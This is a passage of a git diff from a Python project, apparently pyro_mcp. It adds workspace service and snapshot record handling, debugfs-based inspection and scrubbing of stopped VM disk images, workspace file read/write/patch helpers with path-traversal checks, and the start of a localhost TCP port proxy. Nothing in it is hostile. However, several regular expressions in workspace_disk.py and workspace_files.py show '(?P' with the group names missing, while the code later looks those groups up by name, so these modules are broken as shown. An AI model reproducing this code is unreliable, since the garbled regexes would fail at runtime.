normalized_name), + ) + + def _load_workspace_service_locked( + self, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord: + record_path = self._workspace_service_record_path(workspace_id, service_name) + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + + def _load_workspace_snapshot_locked( + self, + workspace_id: str, + snapshot_name: str, + ) -> WorkspaceSnapshotRecord: + record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) + if not record_path.exists(): + raise ValueError( + f"snapshot {snapshot_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"snapshot record at {record_path} is invalid") + return WorkspaceSnapshotRecord.from_payload(payload) + + def _load_workspace_snapshot_locked_optional( + self, + workspace_id: str, + snapshot_name: str, + ) -> WorkspaceSnapshotRecord | None: + record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) + if not record_path.exists(): + return None + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"snapshot record at {record_path} is invalid") + return WorkspaceSnapshotRecord.from_payload(payload) + + def _load_workspace_service_locked_optional( + self, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord | None: + record_path = self._workspace_service_record_path(workspace_id, service_name) + if not record_path.exists(): + return None + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + + def _save_workspace_service_locked(self, service: WorkspaceServiceRecord) -> None: + record_path = self._workspace_service_record_path( + service.workspace_id, + service.service_name, + ) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(service.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _save_workspace_snapshot_locked(self, snapshot: WorkspaceSnapshotRecord) -> None: + record_path = self._workspace_snapshot_metadata_path( + snapshot.workspace_id, + snapshot.snapshot_name, + ) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(snapshot.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _delete_workspace_service_artifacts_locked( + self, + workspace_id: str, + service_name: str, + ) -> None: + existing = self._load_workspace_service_locked_optional(workspace_id, service_name) + if existing is not None: + for published_port in existing.published_ports: + _stop_workspace_published_port_proxy(published_port) + self._workspace_service_record_path(workspace_id, service_name).unlink(missing_ok=True) + services_dir = self._workspace_services_dir(workspace_id) + _workspace_service_stdout_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_stderr_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_status_path(services_dir, service_name).unlink(missing_ok=True) + _workspace_service_runner_path(services_dir, service_name).unlink(missing_ok=True) + for ready_path in services_dir.glob(f"{service_name}.port-*.ready.json"): + ready_path.unlink(missing_ok=True) + + def _delete_workspace_snapshot_locked(self, workspace_id: str, snapshot_name: str) -> None: + self._workspace_snapshot_metadata_path(workspace_id, snapshot_name).unlink(missing_ok=True) + self._workspace_snapshot_archive_path(workspace_id, snapshot_name).unlink(missing_ok=True) + + def _list_workspace_services_locked(self, workspace_id: str) -> list[WorkspaceServiceRecord]: + services_dir = self._workspace_services_dir(workspace_id) + if not services_dir.exists(): + return [] + services: list[WorkspaceServiceRecord] = [] + for record_path in sorted(services_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + services.append(WorkspaceServiceRecord.from_payload(payload)) + return services + + def _list_workspace_snapshots_locked( + self, + workspace: WorkspaceRecord, + ) -> list[WorkspaceSnapshotRecord]: + snapshots_dir = self._workspace_snapshots_dir(workspace.workspace_id) + snapshots: list[WorkspaceSnapshotRecord] = [ + self._workspace_baseline_snapshot_locked(workspace) + ] + if not snapshots_dir.exists(): + return snapshots + named_snapshots: list[WorkspaceSnapshotRecord] = [] + for record_path in snapshots_dir.glob("*.json"): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + named_snapshots.append(WorkspaceSnapshotRecord.from_payload(payload)) + named_snapshots.sort(key=lambda item: (-item.created_at, item.snapshot_name)) + snapshots.extend(named_snapshots) + return snapshots + + def _save_workspace_shell_locked(self, shell: WorkspaceShellRecord) -> None: + record_path = self._workspace_shell_record_path(shell.workspace_id, shell.shell_id) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(shell.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _delete_workspace_shell_locked(self, workspace_id: str, shell_id: str) -> None: + record_path = self._workspace_shell_record_path(workspace_id, shell_id) + if record_path.exists(): + record_path.unlink() + + def _list_workspace_shells_locked(self, workspace_id: str) -> list[WorkspaceShellRecord]: + shells_dir = self._workspace_shells_dir(workspace_id) + if not shells_dir.exists(): + return [] + shells: list[WorkspaceShellRecord] = [] + for record_path in sorted(shells_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + shells.append(WorkspaceShellRecord.from_payload(payload)) + return shells + + def _close_workspace_shells_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + for shell in self._list_workspace_shells_locked(workspace.workspace_id): + try: + self._backend.close_shell( + instance, + workspace_id=workspace.workspace_id, + shell_id=shell.shell_id, + ) + except Exception: + pass + self._delete_workspace_shell_locked(workspace.workspace_id, shell.shell_id) + + def _reset_workspace_runtime_dirs(self, workspace_id: str) -> None: + shutil.rmtree(self._workspace_runtime_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_host_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_commands_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_review_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_shells_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_services_dir(workspace_id), ignore_errors=True) + self._workspace_host_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_commands_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_review_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_shells_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_services_dir(workspace_id).mkdir(parents=True, exist_ok=True) + + def _refresh_workspace_service_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + service: WorkspaceServiceRecord, + ) -> WorkspaceServiceRecord: + payload = self._backend.status_service( + instance, + workspace_id=workspace.workspace_id, + service_name=service.service_name, + ) + refreshed = self._workspace_service_record_from_payload( + workspace_id=workspace.workspace_id, + service_name=service.service_name, + payload=payload, + metadata=service.metadata, + published_ports=service.published_ports, + ) + if refreshed.state != "running" and refreshed.published_ports: + refreshed.published_ports = [ + WorkspacePublishedPortRecord( + guest_port=published_port.guest_port, + host_port=published_port.host_port, + host=published_port.host, + protocol=published_port.protocol, + proxy_pid=None, + ) + for published_port in refreshed.published_ports + ] + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) + self._save_workspace_service_locked(refreshed) + return refreshed + + def _refresh_workspace_services_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> list[WorkspaceServiceRecord]: + services = self._list_workspace_services_locked(workspace.workspace_id) + refreshed: list[WorkspaceServiceRecord] = [] + for service in services: + refreshed.append(self._refresh_workspace_service_locked(workspace, instance, service)) + return refreshed + + def _refresh_workspace_service_counts_locked(self, workspace: WorkspaceRecord) -> None: + services = self._list_workspace_services_locked(workspace.workspace_id) + if not services: + return + if workspace.state != "started": + changed = False + for service in services: + if service.state == "running": + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) + service.state = "stopped" + service.stop_reason = "workspace_stopped" + service.ended_at = service.ended_at or time.time() + self._save_workspace_service_locked(service) + changed = True + if changed: + return + return + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._require_workspace_service_support(instance) + self._refresh_workspace_services_locked(workspace, instance) + + def _stop_workspace_services_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + for service in self._list_workspace_services_locked(workspace.workspace_id): + if workspace.state == "started": + try: + payload = self._backend.stop_service( + instance, + workspace_id=workspace.workspace_id, + service_name=service.service_name, + ) + stopped = self._workspace_service_record_from_payload( + workspace_id=workspace.workspace_id, + service_name=service.service_name, + payload=payload, + metadata=service.metadata, + published_ports=service.published_ports, + ) + self._save_workspace_service_locked(stopped) + except Exception: + pass + self._delete_workspace_service_artifacts_locked( + workspace.workspace_id, + service.service_name, + ) diff --git a/src/pyro_mcp/workspace_disk.py b/src/pyro_mcp/workspace_disk.py new file mode 100644 index 0000000..756cfac --- /dev/null +++ b/src/pyro_mcp/workspace_disk.py @@ -0,0 +1,264 @@ +"""Stopped-workspace disk export and offline inspection helpers.""" + +from __future__ import annotations + +import re +import shutil +import subprocess +import tempfile +from dataclasses import dataclass +from pathlib import Path, PurePosixPath +from typing import Literal + +WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"] + +WORKSPACE_DISK_RUNTIME_ONLY_PATHS = ( + "/run/pyro-secrets", + "/run/pyro-shells", + "/run/pyro-services", +) + +_DEBUGFS_LS_RE = re.compile( + r"^/(?P\d+)/(?P\d+)/(?P\d+)/(?P\d+)/(?P.*)/(?P\d*)/$" +) +_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P\d+)") +_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P\w+)") +_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P.*)"') + + +@dataclass(frozen=True) +class WorkspaceDiskEntry: + """One inspectable path from a stopped workspace rootfs image.""" + + path: str + artifact_type: WorkspaceDiskArtifactType + size_bytes: int + link_target: str | None = None + + def to_payload(self) -> dict[str, str | int | None]: + return { + "path": self.path, + "artifact_type": self.artifact_type, + "size_bytes": self.size_bytes, + "link_target": self.link_target, + } + + +@dataclass(frozen=True) +class _DebugfsStat: + path: str + artifact_type: WorkspaceDiskArtifactType + size_bytes: int + link_target: str | None = None + + +@dataclass(frozen=True) +class _DebugfsDirEntry: + name: str + path: str + artifact_type: WorkspaceDiskArtifactType | None + size_bytes: int + + +def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]: + """Copy one stopped workspace rootfs image to the requested host path.""" + output_path.parent.mkdir(parents=True, exist_ok=True) + if output_path.exists() or output_path.is_symlink(): + raise RuntimeError(f"output_path already exists: {output_path}") + shutil.copy2(rootfs_image, output_path) + return { + "output_path": str(output_path), + "disk_format": "ext4", + "bytes_written": output_path.stat().st_size, + } + + +def list_workspace_disk( + rootfs_image: Path, + *, + guest_path: str, + recursive: bool, +) -> list[dict[str, str | int | None]]: + """Return inspectable entries from one stopped workspace rootfs path.""" + target = _debugfs_stat(rootfs_image, guest_path) + if target is None: + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + if target.artifact_type != "directory": + return [WorkspaceDiskEntry(**target.__dict__).to_payload()] + entries: list[WorkspaceDiskEntry] = [] + + def walk(current_path: str) -> None: + children = _debugfs_ls_entries(rootfs_image, current_path) + for child in children: + if child.artifact_type is None: + continue + link_target = None + if child.artifact_type == "symlink": + child_stat = _debugfs_stat(rootfs_image, child.path) + link_target = None if child_stat is None else child_stat.link_target + entries.append( + WorkspaceDiskEntry( + path=child.path, + artifact_type=child.artifact_type, + size_bytes=child.size_bytes, + link_target=link_target, + ) + ) + if recursive and child.artifact_type == "directory": + walk(child.path) + + walk(guest_path) + entries.sort(key=lambda item: item.path) + return [entry.to_payload() for entry in entries] + + +def read_workspace_disk_file( + rootfs_image: Path, + *, + guest_path: str, + max_bytes: int, +) -> dict[str, str | int | bool]: + """Read one regular file from a stopped workspace rootfs image.""" + target = _debugfs_stat(rootfs_image, guest_path) + if target is None: + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + if target.artifact_type != "file": + raise RuntimeError("workspace disk read only supports regular files") + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir: + dumped_path = Path(temp_dir) / "workspace-disk-read.bin" + _run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}") + if not dumped_path.exists(): + raise RuntimeError(f"failed to dump workspace disk file: {guest_path}") + raw_bytes = dumped_path.read_bytes() + return { + "path": guest_path, + "size_bytes": len(raw_bytes), + "max_bytes": max_bytes, + "content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"), + "truncated": len(raw_bytes) > max_bytes, + } + + +def scrub_workspace_runtime_paths(rootfs_image: Path) -> None: + """Remove runtime-only guest paths from a stopped workspace rootfs image.""" + for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS: + _debugfs_remove_tree(rootfs_image, guest_path) + + +def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str: + debugfs_path = shutil.which("debugfs") + if debugfs_path is None: + raise RuntimeError("debugfs is required for workspace disk operations") + debugfs_command = [debugfs_path] + if writable: + debugfs_command.append("-w") + proc = subprocess.run( # noqa: S603 + [*debugfs_command, "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + combined = proc.stdout + if proc.stderr != "": + combined = combined + ("\n" if combined != "" else "") + proc.stderr + output = _strip_debugfs_banner(combined) + if proc.returncode != 0: + message = output.strip() + if message == "": + message = f"debugfs command failed: {command}" + raise RuntimeError(message) + return output.strip() + + +def _strip_debugfs_banner(output: str) -> str: + lines = output.splitlines() + while lines and lines[0].startswith("debugfs "): + lines.pop(0) + return "\n".join(lines) + + +def _debugfs_missing(output: str) -> bool: + return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output + + +def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None: + if mode.startswith("04"): + return "directory" + if mode.startswith("10"): + return "file" + if mode.startswith("12"): + return "symlink" + return None + + +def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None: + output = _run_debugfs(rootfs_image, f"stat {guest_path}") + if _debugfs_missing(output): + return None + type_match = _DEBUGFS_TYPE_RE.search(output) + size_match = _DEBUGFS_SIZE_RE.search(output) + if type_match is None or size_match is None: + raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}") + raw_type = type_match.group("type") + artifact_type: WorkspaceDiskArtifactType + if raw_type == "directory": + artifact_type = "directory" + elif raw_type == "regular": + artifact_type = "file" + elif raw_type == "symlink": + artifact_type = "symlink" + else: + raise RuntimeError(f"unsupported workspace disk path type: {guest_path}") + link_target = None + if artifact_type == "symlink": + link_match = _DEBUGFS_LINK_RE.search(output) + if link_match is not None: + link_target = link_match.group("target") + return _DebugfsStat( + path=guest_path, + artifact_type=artifact_type, + size_bytes=int(size_match.group("size")), + link_target=link_target, + ) + + +def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]: + output = _run_debugfs(rootfs_image, f"ls -p {guest_path}") + if _debugfs_missing(output): + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + entries: list[_DebugfsDirEntry] = [] + base = PurePosixPath(guest_path) + for raw_line in output.splitlines(): + line = raw_line.strip() + if line == "": + continue + match = _DEBUGFS_LS_RE.match(line) + if match is None: + continue + name = match.group("name") + if name in {".", ".."}: + continue + child_path = str(base / name) if str(base) != "/" else f"/{name}" + entries.append( + _DebugfsDirEntry( + name=name, + path=child_path, + artifact_type=_artifact_type_from_mode(match.group("mode")), + size_bytes=int(match.group("size") or "0"), + ) + ) + return entries + + +def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None: + stat_result = _debugfs_stat(rootfs_image, guest_path) + if stat_result is None: + return + if stat_result.artifact_type == "directory": + for child in _debugfs_ls_entries(rootfs_image, guest_path): + _debugfs_remove_tree(rootfs_image, child.path) + _run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True) + return + _run_debugfs(rootfs_image, f"rm {guest_path}", writable=True) diff --git a/src/pyro_mcp/workspace_files.py b/src/pyro_mcp/workspace_files.py new file mode 100644 index 0000000..731a6ee --- /dev/null +++ b/src/pyro_mcp/workspace_files.py @@ -0,0 +1,456 @@ +"""Live workspace file operations and unified text patch helpers.""" + +from __future__ import annotations + +import os +import re +import tempfile +from dataclasses import dataclass +from pathlib import Path, PurePosixPath +from typing import Literal + +WORKSPACE_ROOT = PurePosixPath("/workspace") +DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536 +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 +WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024 + +WorkspaceFileArtifactType = Literal["file", "directory", "symlink"] +WorkspacePatchStatus = Literal["added", "modified", "deleted"] + +_PATCH_HUNK_RE = re.compile( + r"^@@ -(?P\d+)(?:,(?P\d+))? " + r"\+(?P\d+)(?:,(?P\d+))? @@" +) + + +@dataclass(frozen=True) +class WorkspaceFileEntry: + path: str + artifact_type: WorkspaceFileArtifactType + size_bytes: int + link_target: str | None = None + + def to_payload(self) -> dict[str, str | int | None]: + return { + "path": self.path, + "artifact_type": self.artifact_type, + "size_bytes": self.size_bytes, + "link_target": self.link_target, + } + + +@dataclass(frozen=True) +class WorkspacePathListing: + path: str + artifact_type: WorkspaceFileArtifactType + entries: list[WorkspaceFileEntry] + + +@dataclass(frozen=True) +class WorkspaceFileReadResult: + path: str + size_bytes: int + content_bytes: bytes + + +@dataclass(frozen=True) +class WorkspaceFileWriteResult: + path: str + size_bytes: int + bytes_written: int + + +@dataclass(frozen=True) +class WorkspaceFileDeleteResult: + path: str + deleted: bool + + +@dataclass(frozen=True) +class WorkspacePatchHunk: + old_start: int + old_count: int + new_start: int + new_count: int + lines: list[str] + + +@dataclass(frozen=True) +class WorkspaceTextPatch: + path: str + status: WorkspacePatchStatus + hunks: list[WorkspacePatchHunk] + + +def list_workspace_files( + workspace_dir: Path, + *, + workspace_path: str, + recursive: bool, +) -> WorkspacePathListing: + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "directory": + return WorkspacePathListing( + path=entry.path, + artifact_type=entry.artifact_type, + entries=[entry], + ) + + entries: list[WorkspaceFileEntry] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[WorkspaceFileEntry] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_entry = _entry_for_host_path( + _join_workspace_path(current_path, child.name), + Path(child.path), + ) + children.append(child_entry) + children.sort(key=lambda item: item.path) + for child_entry in children: + entries.append(child_entry) + if recursive and child_entry.artifact_type == "directory": + walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path)) + + walk(normalized_path, host_path) + return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries) + + +def read_workspace_file( + workspace_dir: Path, + *, + workspace_path: str, + max_bytes: int = WORKSPACE_FILE_MAX_BYTES, +) -> WorkspaceFileReadResult: + _validate_max_bytes(max_bytes) + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return WorkspaceFileReadResult( + path=normalized_path, + size_bytes=len(raw_bytes), + content_bytes=raw_bytes, + ) + + +def write_workspace_file( + workspace_dir: Path, + *, + workspace_path: str, + text: str, +) -> WorkspaceFileWriteResult: + encoded = text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + _ensure_no_symlink_parents(workspace_dir, host_path, normalized_path) + if host_path.exists() or host_path.is_symlink(): + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(encoded) + os.replace(temp_path, host_path) + return WorkspaceFileWriteResult( + path=normalized_path, + size_bytes=len(encoded), + bytes_written=len(encoded), + ) + + +def delete_workspace_path( + workspace_dir: Path, + *, + workspace_path: str, +) -> WorkspaceFileDeleteResult: + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type == "directory": + raise RuntimeError("workspace file delete does not support directories") + host_path.unlink(missing_ok=False) + return WorkspaceFileDeleteResult(path=normalized_path, deleted=True) + + +def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]: + encoded = patch_text.encode("utf-8") + if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: + raise ValueError( + f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" + ) + if patch_text.strip() == "": + raise ValueError("patch must not be empty") + + lines = patch_text.splitlines(keepends=True) + patches: list[WorkspaceTextPatch] = [] + index = 0 + + while index < len(lines): + line = lines[index] + if line.startswith("diff --git "): + index += 1 + continue + if line.startswith("index "): + index += 1 + continue + if _is_unsupported_patch_prelude(line): + raise ValueError(f"unsupported patch feature: {line.rstrip()}") + if not line.startswith("--- "): + if line.strip() == "": + index += 1 + continue + raise ValueError(f"invalid patch header: {line.rstrip()}") + old_path = _parse_patch_label(line[4:].rstrip("\n")) + index += 1 + if index >= len(lines) or not lines[index].startswith("+++ "): + raise ValueError("patch is missing '+++' header") + new_path = _parse_patch_label(lines[index][4:].rstrip("\n")) + index += 1 + if old_path is not None and new_path is not None and old_path != new_path: + raise ValueError("rename and copy patches are not supported") + patch_path = new_path or old_path + if patch_path is None: + raise ValueError("patch must target a workspace path") + if old_path is None: + status: WorkspacePatchStatus = "added" + elif new_path is None: + status = "deleted" + else: + status = "modified" + + hunks: list[WorkspacePatchHunk] = [] + while index < len(lines): + line = lines[index] + if line.startswith("diff --git ") or line.startswith("--- "): + break + if line.startswith("index "): + index += 1 + continue + if _is_unsupported_patch_prelude(line): + raise ValueError(f"unsupported patch feature: {line.rstrip()}") + header_match = _PATCH_HUNK_RE.match(line.rstrip("\n")) + if header_match is None: + raise ValueError(f"invalid patch hunk header: {line.rstrip()}") + old_count = int(header_match.group("old_count") or "1") + new_count = int(header_match.group("new_count") or "1") + hunk_lines: list[str] = [] + index += 1 + while index < len(lines): + hunk_line = lines[index] + if hunk_line.startswith(("diff --git ", "--- ", "@@ ")): + break + if hunk_line.startswith("@@"): + break + if hunk_line.startswith("\\ No newline at end of file"): + index += 1 + continue + if not hunk_line.startswith((" ", "+", "-")): + raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}") + hunk_lines.append(hunk_line) + index += 1 + _validate_hunk_counts(old_count, new_count, hunk_lines) + hunks.append( + WorkspacePatchHunk( + old_start=int(header_match.group("old_start")), + old_count=old_count, + new_start=int(header_match.group("new_start")), + new_count=new_count, + lines=hunk_lines, + ) + ) + if not hunks: + raise ValueError(f"patch for {patch_path} has no hunks") + patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks)) + + if not patches: + raise ValueError("patch must contain at least one file change") + return patches + + +def apply_unified_text_patch( + *, + path: str, + patch: WorkspaceTextPatch, + before_text: str | None, +) -> str | None: + before_lines = [] if before_text is None else before_text.splitlines(keepends=True) + output_lines: list[str] = [] + cursor = 0 + for hunk in patch.hunks: + start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1 + if start_index < cursor or start_index > len(before_lines): + raise RuntimeError(f"patch hunk is out of range for {path}") + output_lines.extend(before_lines[cursor:start_index]) + local_index = start_index + for hunk_line in hunk.lines: + prefix = hunk_line[:1] + payload = hunk_line[1:] + if prefix in {" ", "-"}: + if local_index >= len(before_lines): + raise RuntimeError(f"patch context does not match for {path}") + if before_lines[local_index] != payload: + raise RuntimeError(f"patch context does not match for {path}") + if prefix == " ": + output_lines.append(payload) + local_index += 1 + continue + if prefix == "+": + output_lines.append(payload) + continue + raise RuntimeError(f"invalid patch line prefix for {path}") + cursor = local_index + output_lines.extend(before_lines[cursor:]) + after_text = "".join(output_lines) + if patch.status == "deleted": + if after_text != "": + raise RuntimeError(f"delete patch did not remove all content for {path}") + return None + encoded = after_text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"patched file {path} exceeds the maximum supported size of " + f"{WORKSPACE_FILE_MAX_BYTES} bytes" + ) + return after_text + + +def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path: + _, host_path = _workspace_host_path(workspace_dir, workspace_path) + return host_path + + +def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]: + normalized = normalize_workspace_path(workspace_path) + suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT) + host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts) + return normalized, host_path + + +def normalize_workspace_path(path: str) -> str: + candidate = path.strip() + if candidate == "": + raise ValueError("workspace path must not be empty") + raw_path = PurePosixPath(candidate) + if any(part == ".." for part in raw_path.parts): + raise ValueError("workspace path must stay inside /workspace") + if not raw_path.is_absolute(): + raw_path = WORKSPACE_ROOT / raw_path + parts = [part for part in raw_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise ValueError("workspace path must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise ValueError("workspace path must stay inside /workspace") + return str(normalized) + + +def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc + if os.path.islink(host_path): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="symlink", + size_bytes=stat_result.st_size, + link_target=os.readlink(host_path), + ) + if host_path.is_dir(): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="directory", + size_bytes=0, + link_target=None, + ) + if host_path.is_file(): + return WorkspaceFileEntry( + path=guest_path, + artifact_type="file", + size_bytes=stat_result.st_size, + link_target=None, + ) + raise RuntimeError(f"unsupported workspace path type: {guest_path}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None: + relative_path = target_path.relative_to(workspace_dir) + current = workspace_dir + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {guest_path}" + ) + + +def _validate_max_bytes(max_bytes: int) -> None: + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + + +def _is_unsupported_patch_prelude(line: str) -> bool: + return line.startswith( + ( + "old mode ", + "new mode ", + "deleted file mode ", + "new file mode ", + "rename from ", + "rename to ", + "copy from ", + "copy to ", + "similarity index ", + "dissimilarity index ", + "GIT binary patch", + "Binary files ", + ) + ) + + +def _parse_patch_label(label: str) -> str | None: + raw = label.split("\t", 1)[0].strip() + if raw == "/dev/null": + return None + if raw.startswith(("a/", "b/")): + raw = raw[2:] + if raw.startswith("/workspace/"): + return normalize_workspace_path(raw) + return normalize_workspace_path(raw) + + +def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None: + old_seen = 0 + new_seen = 0 + for hunk_line in hunk_lines: + prefix = hunk_line[:1] + if prefix in {" ", "-"}: + old_seen += 1 + if prefix in {" ", "+"}: + new_seen += 1 + if old_seen != old_count or new_seen != new_count: + raise ValueError("patch hunk line counts do not match the header") diff --git a/src/pyro_mcp/workspace_ports.py b/src/pyro_mcp/workspace_ports.py new file mode 100644 index 0000000..105ef6b --- /dev/null +++ b/src/pyro_mcp/workspace_ports.py @@ -0,0 +1,116 @@ +"""Localhost-only TCP port proxy for published workspace services.""" + +from __future__ import annotations + +import argparse +import json +import selectors +import signal +import socket +import socketserver +import sys +import threading +from pathlib import Path + +DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1" + + +class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer): + allow_reuse_address = False + daemon_threads = True + + def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None: + super().__init__(server_address, _ProxyHandler) + self.target_address = target_address + + +class _ProxyHandler(socketserver.BaseRequestHandler): + def handle(self) -> None: + server = self.server + if not isinstance(server, _ProxyServer): + raise RuntimeError("proxy server is invalid") + try: + upstream = socket.create_connection(server.target_address, timeout=5) + except OSError: + return + with upstream: + self.request.setblocking(False) + upstream.setblocking(False) + selector = selectors.DefaultSelector() + try: + selector.register(self.request, selectors.EVENT_READ, upstream) + selector.register(upstream, selectors.EVENT_READ, self.request) + while True: + events = selector.select() + if not events: + continue + for key, _ in events: + source = key.fileobj + target = key.data + if not isinstance(source, socket.socket) or not isinstance( + target, socket.socket + ): + continue + try: + chunk = source.recv(65536) + except OSError: + return + if not chunk: + return + try: + target.sendall(chunk) + except OSError: + return + finally: + selector.close() + + +def _build_parser() -> argparse.ArgumentParser: + parser = 